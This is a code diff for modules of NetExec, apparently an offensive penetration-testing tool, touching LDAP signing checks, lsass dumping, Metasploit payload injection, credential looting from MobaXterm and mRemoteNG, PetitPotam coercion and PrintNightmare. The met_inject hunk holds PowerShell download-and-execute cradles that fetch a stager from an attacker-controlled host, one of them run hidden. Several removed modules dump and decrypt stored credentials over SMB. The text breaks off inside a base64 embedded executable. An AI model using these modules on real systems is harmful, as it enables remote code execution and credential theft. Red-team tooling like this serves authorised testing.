                 return True  # channel binding IS enforced
             elif "data 52e" in str(err):
@@ -92,12 +87,11 @@ class NXCModule:
         def DoesLdapsCompleteHandshake(dcIp):
             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             s.settimeout(5)
-            ssl_context = ssl.create_default_context()
-            ssl_context.check_hostname = False
-            ssl_sock = ssl_context.wrap_socket(
+            ssl_sock = ssl.wrap_socket(
                 s,
-                do_handshake_on_connect=False,
+                cert_reqs=ssl.CERT_OPTIONAL,
                 suppress_ragged_eofs=False,
+                do_handshake_on_connect=False,
             )
             ssl_sock.connect((dcIp, 636))
             try:
@@ -120,30 +114,19 @@ class NXCModule:
         # requirements are enforced based on potential errors
         # during the bind attempt.
         async def run_ldap(target, credential):
-            try:
-                ldapsClientConn = MSLDAPClientConnection(target, credential)
-                ldapsClientConn._disable_signing = True
-                _, err = await ldapsClientConn.connect()
-                if err is not None:
-                    context.log.fail(str(err))
-                    return False
-                
+            ldapsClientConn = MSLDAPClientConnection(target, credential)
+            _, err = await ldapsClientConn.connect()
+            if err is None:
                 _, err = await ldapsClientConn.bind()
-                if err is not None:
-                    errstr = str(err).lower()
-                    if "stronger" in errstr:
-                        return True 
-                        # because LDAP server signing requirements ARE enforced
-                    else:
-                        context.log.fail(str(err))
-                else:
-                    # LDAPS bind successful
-                    return False 
-                    # because LDAP server signing requirements are not enforced
-            except Exception as e:
-                context.log.debug(str(e))
-                return False
-              
+                if "stronger" in str(err):
+                    return True  # because LDAP server signing requirements ARE enforced
+                elif ("data 52e") in str(err):
+                    context.log.fail("Not connected... exiting")
+                    sys.exit()
+                elif err is None:
+                    return False
+            else:
+                context.log.fail(str(err))
 
         # Run trough all our code blocks to determine LDAP signing and channel binding settings.
         stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
@@ -156,16 +139,7 @@ class NXCModule:
                 stype=stype,
             )
         else:
-            kerberos_target = UniTarget(
-                connection.host,
-                88,
-                UniProto.CLIENT_TCP,
-                hostname=connection.remoteName,
-                dc_ip=connection.kdcHost,
-                domain=connection.domain,
-                proxies=None,
-                dns=None,
-            )
+            kerberos_target = UniTarget(connection.hostname + "." + connection.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=connection.domain, domain=connection.domain)
             credential = KerberosCredential(
                 target=kerberos_target,
                 secret=secret,
@@ -174,8 +148,9 @@ class NXCModule:
                 stype=stype,
             )
 
-        target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
+        target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
         ldapIsProtected = asyncio.run(run_ldap(target, credential))
+
         if ldapIsProtected is False:
             context.log.highlight("LDAP Signing NOT Enforced!")
         elif ldapIsProtected is True:
@@ -185,9 +160,9 @@ class NXCModule:
             sys.exit()
 
         if DoesLdapsCompleteHandshake(connection.host) is True:
-            target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
+            target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
             ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
-            target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
+            target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
             ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
             if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
                 context.log.highlight('LDAPS Channel Binding is set to "When Supported"')

nxc/modules/lsassy.py

@@ -64,7 +64,7 @@ class NXCModule:
             context.log.fail("Unable to dump lsass")
             return False
 
-        parsed = Parser(host, file).parse()
+        parsed = Parser(file).parse()
         if parsed is None:
             context.log.fail("Unable to parse lsass dump")
             return False

nxc/modules/met_inject.py

@@ -27,8 +27,6 @@ class NXCModule:
         SRVPORT     Stager port
         RAND        Random string given by metasploit (if using web_delivery)
         SSL         Stager server use https or http (default: https)
-        
-        This module is compatable with --obfs, --force-ps32 (PowerShell execution options)
 
         multi/handler method that don't require RAND:
             Set LHOST and LPORT (called SRVHOST and SRVPORT in nxc module options)
@@ -37,11 +35,8 @@ class NXCModule:
                 windows/x64/powershell_reverse_tcp_ssl
         Web Delivery Method (exploit/multi/script/web_delivery):
             Set SRVHOST and SRVPORT
-            Set target 2 (PSH)
             Set payload to what you want (windows/meterpreter/reverse_https, etc)
-                check compatabile payloads with `show payloads`
-            Optional: SET URIPATH {custom}
-            After running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that, or whatever you set URIPATH to
+            after running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that
         """
         self.met_ssl = "https"
 
@@ -58,19 +53,24 @@ class NXCModule:
         self.srvport = module_options["SRVPORT"]
 
     def on_admin_login(self, context, connection):
-        # https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
-        proto = "http" if self.met_ssl == "http" else "https"
-        metasploit_endpoint = f"{proto}://{self.srvhost}:{self.srvport}/{self.rand}"
-        context.log.debug(f"{metasploit_endpoint=}")
-        
-        # use single quotes inside because if we run this in 32bit PowerShell, the entire command is double quoted (see helpers/powershell.py:create_ps_command())
-        command = f"$ProgressPreference = 'SilentlyContinue'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{metasploit_endpoint}');"
-        context.log.debug(f"Running command via ps_execute: {command}")
-        
-        output = connection.ps_execute(command)
-        context.log.debug(f"Received output from ps_execute: {output}")
-        
-        if output and "Unable to connect to the remote server" in output:
-            context.log.error("Executed payload, but the cradle was unable to download the stager, is the Metasploit server running?")
-        else:
-            context.log.success("Executed payload")
+        # stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
+        command = """$url="{}://{}:{}/{}"
+        $DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
+        $PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'
+        if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
+        $ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
+        $ProcessInfo.FileName=$PowershellExe
+        $ProcessInfo.Arguments="-nop -c $DownloadCradle"
+        $ProcessInfo.UseShellExecute = $False
+        $ProcessInfo.RedirectStandardOutput = $True
+        $ProcessInfo.CreateNoWindow = $True
+        $ProcessInfo.WindowStyle = "Hidden"
+        $Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format(
+            "http" if self.met_ssl == "http" else "https",
+            self.srvhost,
+            self.srvport,
+            self.rand,
+        )
+        context.log.debug(command)
+        connection.ps_execute(command, force_ps32=True)
+        context.log.success("Executed payload")

nxc/modules/mobaxterm.py

@@ -1,128 +0,0 @@
-from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
-from dploot.triage.backupkey import BackupkeyTriage
-from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
-from dploot.lib.target import Target
-from dploot.lib.smb import DPLootSMBConnection
-
-from nxc.helpers.logger import highlight
-
-
-class NXCModule:
-    name = "mobaxterm"
-    description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def options(self, context, module_options):
-        """
-        PVK             Domain backup key file
-        MKFILE          File with masterkeys in form of {GUID}:SHA1
-        """
-        self.pvkbytes = None
-        self.masterkeys = None
-        self.conn = None
-        self.target = None
-
-        if "PVK" in module_options:
-            self.pvkbytes = open(module_options["PVK"], "rb").read()  # noqa: SIM115
-
-        if "MKFILE" in module_options:
-            self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
-            self.pvkbytes = open(module_options["MKFILE"], "rb").read()  # noqa: SIM115
-
-    def on_admin_login(self, context, connection):
-        host = connection.hostname + "." + connection.domain
-        domain = connection.domain
-        username = connection.username
-        kerberos = connection.kerberos
-        aesKey = connection.aesKey
-        use_kcache = getattr(connection, "use_kcache", False)
-        password = getattr(connection, "password", "")
-        lmhash = getattr(connection, "lmhash", "")
-        nthash = getattr(connection, "nthash", "")
-
-        if self.pvkbytes is None:
-            try:
-                dc = Target.create(
-                    domain=domain,
-                    username=username,
-                    password=password,
-                    target=domain,
-                    lmhash=lmhash,
-                    nthash=nthash,
-                    do_kerberos=kerberos,
-                    aesKey=aesKey,
-                    no_pass=True,
-                    use_kcache=use_kcache,
-                )
-
-                dc_conn = DPLootSMBConnection(dc)
-                dc_conn.connect()
-
-                if dc_conn.is_admin:
-                    context.log.success("User is Domain Administrator, exporting domain backupkey...")
-                    backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
-                    backupkey = backupkey_triage.triage_backupkey()
-                    self.pvkbytes = backupkey.backupkey_v2
-            except Exception as e:
-                context.log.debug(f"Could not get domain backupkey: {e}")
-
-        self.target = Target.create(
-            domain=domain,
-            username=username,
-            password=password,
-            target=host,
-            lmhash=lmhash,
-            nthash=nthash,
-            do_kerberos=kerberos,
-            aesKey=aesKey,
-            no_pass=True,
-            use_kcache=use_kcache,
-        )
-
-        try:
-            self.conn = DPLootSMBConnection(self.target)
-            self.conn.smb_session = connection.conn
-        except Exception as e:
-            context.log.debug(f"Could not upgrade connection: {e}")
-            return
-
-        plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
-        nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
-        if password != "":
-            plaintexts[username] = password
-        if nthash != "":
-            nthashes[username] = nthash
-
-        if self.masterkeys is None:
-            try:
-                masterkeys_triage = MasterkeysTriage(
-                    target=self.target,
-                    conn=self.conn,
-                    pvkbytes=self.pvkbytes,
-                    passwords=plaintexts,
-                    nthashes=nthashes,
-                    dpapiSystem={},
-                )
-                self.masterkeys = masterkeys_triage.triage_masterkeys()
-            except Exception as e:
-                context.log.debug(f"Could not get masterkeys: {e}")
-
-        if len(self.masterkeys) == 0:
-            context.log.fail("No masterkeys looted")
-            return
-
-        context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
-
-        try:
-            triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
-            _, credentials = triage.triage_mobaxterm()
-            for credential in credentials:
-                if isinstance(credential, MobaXtermCredential):
-                    log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
-                elif isinstance(credential, MobaXtermPassword):
-                    log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
-                context.log.highlight(f"[{credential.winuser}] {log_text}")
-        except Exception as e:
-            context.log.debug(f"Could not loot MobaXterm secrets: {e}")

nxc/modules/mremoteng.py

@@ -1,212 +0,0 @@
-import ntpath
-from dploot.lib.smb import DPLootSMBConnection
-from dploot.lib.target import Target
-from Cryptodome.Cipher import AES
-from lxml import objectify
-from base64 import b64decode
-import hashlib
-from dataclasses import dataclass
-
-
-@dataclass
-class MRemoteNgEncryptionAttributes:
-    kdf_iterations: int
-    block_cipher_mode: str
-    encryption_engine: str
-    full_file_encryption: bool
-
-class NXCModule:
-    """
-    Dump mRemoteNG Passwords
-    module by @_zblurx
-    """
-
-    name = "mremoteng"
-    description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
-    supported_protocols = ["smb"]
-    opsec_safe = True 
-    multiple_hosts = True
-
-    def __init__(self, context=None, module_options=None):
-        self.false_positive = (
-            ".",
-            "..",
-            "desktop.ini",
-            "Public",
-            "Default",
-            "Default User",
-            "All Users",
-        )
-
-        self.mRemoteNg_path = [
-            "Users\\{username}\\AppData\\Local\\mRemoteNG",
-            "Users\\{username}\\AppData\\Roaming\\mRemoteNG",
-            ]
-        
-        self.custom_user_path = [
-            "Users\\{username}\\Desktop",
-            "Users\\{username}\\Documents",
-        ]
-
-        self.recurse_max = 10
-
-    def options(self, context, module_options):
-        """
-        SHARE           Share parsed. Default to C$
-        PASSWORD        Custom password to decrypt confCons.xml files
-        CUSTOM_PATH     Custom path to confCons.xml file
-        """
-        self.context = context
-        
-        self.password = "mR3m"
-        if "PASSWORD" in module_options:
-            self.password = module_options["PASSWORD"]
-
-        self.custom_path = None
-        if "CUSTOM_PATH" in module_options:
-            self.custom_path = module_options["CUSTOM_PATH"]
-
-    def on_admin_login(self, context, connection):
-        # 1. Evole conn into dploot conn
-        self.context = context
-        self.connection = connection
-        self.share = connection.args.share
-
-        host = f"{connection.hostname}.{connection.domain}"
-        domain = connection.domain
-        username = connection.username
-        kerberos = connection.kerberos
-        aesKey = connection.aesKey
-        use_kcache = getattr(connection, "use_kcache", False)
-        password = getattr(connection, "password", "")
-        lmhash = getattr(connection, "lmhash", "")
-        nthash = getattr(connection, "nthash", "")
-
-        target = Target.create(
-            domain=domain,
-            username=username,
-            password=password,
-            target=host,
-            lmhash=lmhash,
-            nthash=nthash,
-            do_kerberos=kerberos,
-            aesKey=aesKey,
-            use_kcache=use_kcache,
-        )
-
-        dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
-
-        # 2. Dump users list
-        users = self.get_users(dploot_conn)
-
-        # 3. Search for mRemoteNG files
-        for user in users:
-            for path in self.mRemoteNg_path:
-                user_path = ntpath.join(path.format(username=user), "confCons.xml")
-                content = dploot_conn.readFile(self.share, user_path)
-                if content is None:
-                    continue
-                self.context.log.info(f"Found confCons.xml file: {user_path}")
-                self.handle_confCons_file(content)
-            for path in self.custom_user_path:
-                user_path = path.format(username=user)
-                self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
-        if self.custom_path is not None:
-            content = dploot_conn.readFile(self.share, self.custom_path)
-            if content is not None:
-                self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
-                self.handle_confCons_file(content)
-
-    def upgrade_connection(self, target: Target, connection=None):
-        conn = DPLootSMBConnection(target)
-        if connection is not None:
-            conn.smb_session = connection
-        else:
-            conn.connect()
-        return conn
-    
-    def get_users(self, conn):
-        users = []
-
-        users_dir_path = "Users\\*"
-        directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
-
-        for d in directories:
-            if d.get_longname() not in self.false_positive and d.is_directory() > 0:
-                users.append(d.get_longname())  # noqa: PERF401, ignoring for readability
-        return users
-    
-    def handle_confCons_file(self, file_content):
-        main = objectify.fromstring(file_content)
-        encryption_attributes = MRemoteNgEncryptionAttributes(
-            kdf_iterations=int(main.attrib["KdfIterations"]),
-            block_cipher_mode=main.attrib["BlockCipherMode"],
-            encryption_engine=main.attrib["EncryptionEngine"],
-            full_file_encryption=bool(main.attrib["FullFileEncryption"]),
-        )
-        
-        for node_attribute in self.parse_xml_nodes(main):
-            password = self.extract_remoteng_passwords(node_attribute["Password"], encryption_attributes)
-            if password == b"":
-                continue
-            name = node_attribute["Name"]
-            hostname = node_attribute["Hostname"]
-            domain = node_attribute["Domain"] if node_attribute["Domain"] != "" else node_attribute["Hostname"]
-            username = node_attribute["Username"]
-            protocol = node_attribute["Protocol"]
-            port = node_attribute["Port"]
-            host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " " 
-            self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
-
-    def parse_xml_nodes(self, main):
-        nodes = []
-        for node in list(main.getchildren()):
-            node_attributes = node.attrib
-            if node_attributes["Type"] == "Connection":
-                nodes.append(node.attrib)
-            elif node_attributes["Type"] == "Container":
-                nodes.append(node.attrib)
-                nodes = nodes + self.parse_xml_nodes(node)
-        return nodes
-    
-    def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
-        directory_list = conn.remote_list_dir(self.share, directory_path)
-        if directory_list is not None:
-            for item in directory_list:
-                if item.get_longname() not in self.false_positive:
-                    new_path = ntpath.join(directory_path, item.get_longname())
-                    if item.is_directory() > 0:
-                        if recurse_level < recurse_max:
-                            self.dig_confCons_in_files(conn=conn, directory_path=new_path, recurse_level=recurse_level + 1, recurse_max=recurse_max)
-                    else:
-                        # It's a file, download it to the output share if the mask is ok
-                        if "confCons.xml" in item.get_longname():
-                            self.context.log.info(f"Found confCons.xml file: {new_path}")
-                            content = conn.readFile(self.context.share, new_path)
-                            self.handle_confCons_file(content)
-                            
-
-    def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
-        encrypted_password = b64decode(encrypted_password)
-        if encrypted_password == b"":
-            return encrypted_password
-
-        if encryption_attributes.encryption_engine == "AES":
-            salt = encrypted_password[:16]
-            associated_data = encrypted_password[:16]
-            nonce = encrypted_password[16:32]
-            ciphertext = encrypted_password[32:-16]
-            tag = encrypted_password[-16:]
-            key = hashlib.pbkdf2_hmac("sha1", self.password.encode(), salt, encryption_attributes.kdf_iterations, dklen=32)
-            if encryption_attributes.block_cipher_mode == "GCM":
-                cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
-            elif encryption_attributes.block_cipher_mode == "CCM":
-                cipher = AES.new(key, AES.MODE_CCM, nonce=nonce)
-            elif encryption_attributes.block_cipher_mode == "EAX":
-                cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
-            else:
-                self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}-{encryption_attributes.block_cipher_mode}: Not yet implemented")
-            cipher.update(associated_data)
-            return cipher.decrypt_and_verify(ciphertext, tag).decode("latin-1")
-        else:
-            self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")

nxc/modules/msol.py

@@ -3,7 +3,7 @@
 # Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
 from sys import exit
 from os import path
-from nxc.paths import TMP_PATH
+import sys
 from nxc.helpers.powershell import get_ps_script
 
 
@@ -49,14 +49,14 @@ class NXCModule:
 
     def on_admin_login(self, context, connection):
         if self.use_embedded:
-            file_to_upload = f"{TMP_PATH}/msol.ps1"
+            file_to_upload = "/tmp/msol.ps1"
 
             try:
                 with open(file_to_upload, "w") as msol:
                     msol.write(self.msol_embedded)
             except FileNotFoundError:
                 context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
-                exit(1)
+                sys.exit(1)
             
         else:
             if path.isfile(self.MSOL_PS1):

nxc/modules/mssql_priv.py

@@ -42,12 +42,12 @@ class NXCModule:
             - rollback (remove sysadmin privilege)
         """
         self.action = None
+        self.context = context
 
         if "ACTION" in module_options:
             self.action = module_options["ACTION"]
 
     def on_login(self, context, connection):
-        self.context = context
         # get mssql connection
         self.mssql_conn = connection.conn
         # fetch the current user
@@ -441,11 +441,13 @@ class NXCModule:
         :rtype: bool
         """
         res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
-        is_admin = res[0][""]
-        if is_admin:
-            self.admin_privs = True
-            return True
-        else:
+        try:
+            if int(res):
+                self.admin_privs = True
+                return True
+            else:
+                return False
+        except Exception:
             return False
 
     def revert_context(self, exec_as):

nxc/modules/nanodump.py

@@ -39,6 +39,7 @@ class NXCModule:
         NANO_EXE_NAME       Name of the nano executable (default: nano.exe)
         DIR_RESULT          Location where the dmp are stored (default: DIR_RESULT = NANO_PATH)
         """
+        self.context = context
         self.remote_tmp_dir = "C:\\Windows\\Temp\\"
         self.share = "C$"
         self.tmp_share = self.remote_tmp_dir.split(":")[1]
@@ -173,7 +174,7 @@ class NXCModule:
                     self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
             else:
                 try:
-                    exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
+                    exec_method = MSSQLEXEC(self.connection.conn)
                     exec_method.get_file(self.remote_tmp_dir + nano_log_name, filename)
                     self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
                 except Exception as e:

nxc/modules/petitpotam.py

@@ -44,11 +44,11 @@ class NXCModule:
             lmhash=connection.lmhash,
             nthash=connection.nthash,
             aesKey=connection.aesKey,
-            target=connection.host if not connection.kerberos else connection.remoteName,
+            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
             pipe=self.pipe,
             do_kerberos=connection.kerberos,
-            kdcHost=connection.kdcHost,
-            remoteHost=connection.host,
+            dc_host=connection.kdcHost,
+            target_ip=connection.host,
             context=context,
         )
         if efs_rpc_open_file_raw(dce, self.listener, context):
@@ -194,8 +194,8 @@ def coerce(
     target,
     pipe,
     do_kerberos,
-    kdcHost,
-    remoteHost,
+    dc_host,
+    target_ip=None,
     context=None,
 ):
     binding_params = {
@@ -221,7 +221,6 @@ def coerce(
         },
     }
     rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
-    rpc_transport.setRemoteHost(remoteHost)
     if hasattr(rpc_transport, "set_credentials"):
         rpc_transport.set_credentials(
             username=username,
@@ -232,12 +231,15 @@ def coerce(
             aesKey=aesKey,
         )
 
+    if target_ip:
+        rpc_transport.setRemoteHost(target_ip)
+
     dce = rpc_transport.get_dce_rpc()
     dce.set_auth_type(RPC_C_AUTHN_WINNT)
     dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
 
     if do_kerberos:
-        rpc_transport.set_kerberos(do_kerberos, kdcHost)
+        rpc_transport.set_kerberos(do_kerberos, kdcHost=dc_host)
         dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
 
     context.log.info(f"[-] Connecting to {binding_params[pipe]['stringBinding']}")

nxc/modules/pi.py

@@ -1,8 +1,8 @@
 from base64 import b64decode
 from sys import exit
-from os.path import abspath, join, isfile
+from os import path
 
-from nxc.paths import DATA_PATH, TMP_PATH
+from nxc.paths import DATA_PATH
 
 
 class NXCModule:
@@ -25,7 +25,7 @@ class NXCModule:
         self.pi = "pi.exe"
         self.useembeded = True
         self.pid = self.cmd = ""
-        with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
+        with open(path.join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
             self.pi_embedded = b64decode(pi_file.read())
 
         if "EXEC" in module_options:
@@ -36,11 +36,11 @@ class NXCModule:
 
     def on_admin_login(self, context, connection):
         if self.useembeded:
-            file_to_upload = abspath(join(TMP_PATH, "pi.exe"))
+            file_to_upload = "/tmp/pi.exe"
             with open(file_to_upload, "wb") as pm:
                 pm.write(self.pi_embedded)
         else:
-            if isfile(self.imp_exe):
+            if path.isfile(self.imp_exe):
                 file_to_upload = self.imp_exe
             else:
                 context.log.error(f"Cannot open {self.imp_exe}")

nxc/modules/printnightmare.py

@@ -1,6 +1,6 @@
 import sys
 from impacket import system_errors
-from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
+from impacket.dcerpc.v5.rpcrt import DCERPCException
 from impacket.structure import Structure
 from impacket.dcerpc.v5 import transport, rprn
 from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
@@ -55,13 +55,12 @@ class NXCModule:
         )
 
         rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
+
         rpctransport.setRemoteHost(connection.host)
         rpctransport.set_dport(self.port)
 
         try:
             dce = rpctransport.get_dce_rpc()
-            if connection.kerberos:
-                dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
             # Connect to spoolss named pipe
             dce.connect()
             # Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB

nxc/modules/procdump.py

@@ -7,8 +7,6 @@ import re
 import sys
 import pypykatz
 from nxc.helpers.bloodhound import add_user_bh
-from nxc.paths import TMP_PATH
-from os.path import abspath, join
 
 
 class NXCModule:
@@ -32,7 +30,7 @@ class NXCModule:
             "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